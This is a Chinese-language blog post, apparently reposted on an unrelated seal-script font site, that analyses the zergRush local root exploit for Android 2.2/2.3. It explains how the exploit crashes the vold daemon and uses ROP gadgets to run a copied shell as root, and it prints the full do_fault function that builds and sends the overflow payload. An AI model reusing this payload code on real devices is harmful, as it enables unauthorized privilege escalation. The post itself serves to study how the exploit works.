篆体字作品 | 篆体字知识 | 加入收藏 篆体字转换器软件可转换多种篆体字在线预览 网页版 V2.0
篆体字转换器

当前位置:篆体字网 > 知识库 >

zergrush

时间:2023-12-25 13:53:50 编辑:篆字君 来源:篆体字网

刚刚发现一个提权实现的代码,见:

https://github.com/revolutionary/zergRush/blob/master/zergRush.c

需要了解一下是哪个地方有问题,边分析边记录此次过程。

文件不大,当然从 main 入手了,

view plainprint?

if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root();

明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh

看一下 do_root 吧

写了一个属性 ro.kernel.qemu 为 1

明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码

view plainprint?

property_get("ro.kernel.qemu", value, ""); if (strcmp(value, "1") != 0) { property_get("ro.secure", value, ""); if (strcmp(value, "1") == 0) { // don't run as root if ro.secure is set... secure = 1; // ... except we allow running as root in userdebug builds if the // service.adb.root property has been set by the "adb root" command property_get("ro.debuggable", value, ""); if (strcmp(value, "1") == 0) { property_get("service.adb.root", value, ""); if (strcmp(value, "1") == 0) { secure = 0; } } } }

以后调用 adb 默认是 Root 用户了。

----------------------- 无聊的分割线 -----------------------------

下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh

把 SH 拷贝到 /data/local/tmp/sh

改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了

然后获取 /system/bin/vold 程序的大小,

通过 heap_addr=((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算,得到该程序的堆地址, 有点意思了,对 vold 程序有了歪脑筋了

用过在手机上用 ps 看一下,这个程序有是从 root 用户执行过来的。

然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr 的地址。

然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中

继续看 checkcrash()

>>清除了一下 logcat 日志

>>删除 /data/local/tmp/crashlog 文件

>>简立一个子进程,去生成一下 crashlog 文件。

>>调用 do_fault

>>打开 crashlog 文件

>>在 crashlog 中找到崩溃信息,找到 sp 寄存器地址。

等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了

这个函数比较乱,找找重点看

if ((sock=socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM))< 0)

不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。

write(sock, buf, n+1)

写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。

下面回到 main 继续!

一个 For 循环处理。

find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了)

一些容错检查,略过!

kill(logcat_pid, SIGKILL);
unlink(crashlog);

find_rop_gadgets()

又一个陌生函数。看了,暂时看不出用途,貌似找点什么,继续!

下面就是再次调用 do_fault ,生成崩溃。

再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。

疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:

view plainprint?

static int do_fault() { char buf[255]; int sock = -1, n = 0, i; char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5]; uint32_t bsh_addr; char padding[128]; int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz); memset(padding, 0, 128); strcpy(padding, "LORDZZZZzzzz"); if(padding_sz >0) { memset(padding+12, 'Z', padding_sz); printf("[*] Poping %d more zerglings", padding_sz); } else if(padding_sz< 0) { memset(padding, 0, 128); memset(padding, 'Z', 12+padding_sz); } if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM))< 0) die("[-] Error creating Nydus"); sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff); sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff); sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff); sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff); sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff); strcpy(buf, "ZERG"); strcat(buf, " ZZ "); strcat(buf, s_stack_pivot_addr); for(i=3; i< buffsz+1; i++) strcat(buf, " ZZZZ"); strcat(buf, " "); strcat(buf, s_heap_addr); n = strlen(buf); bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4; if(check_addr(bsh_addr) == -1) { printf("[-] Colossus, we're doomed!"); exit(-1); } sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);printf("[*] Sending %d zerglings ...", n); if ((n = write(sock, buf, n+1))< 0) die("[-] Nydus seems broken"); sleep(3); close(sock); return n; }

看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。

在 vold 中执行 sh 肯定是 root 啊。

至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!

Copyright:2021-2023 篆体字转换器 www.dddtedu.com All rights reserved.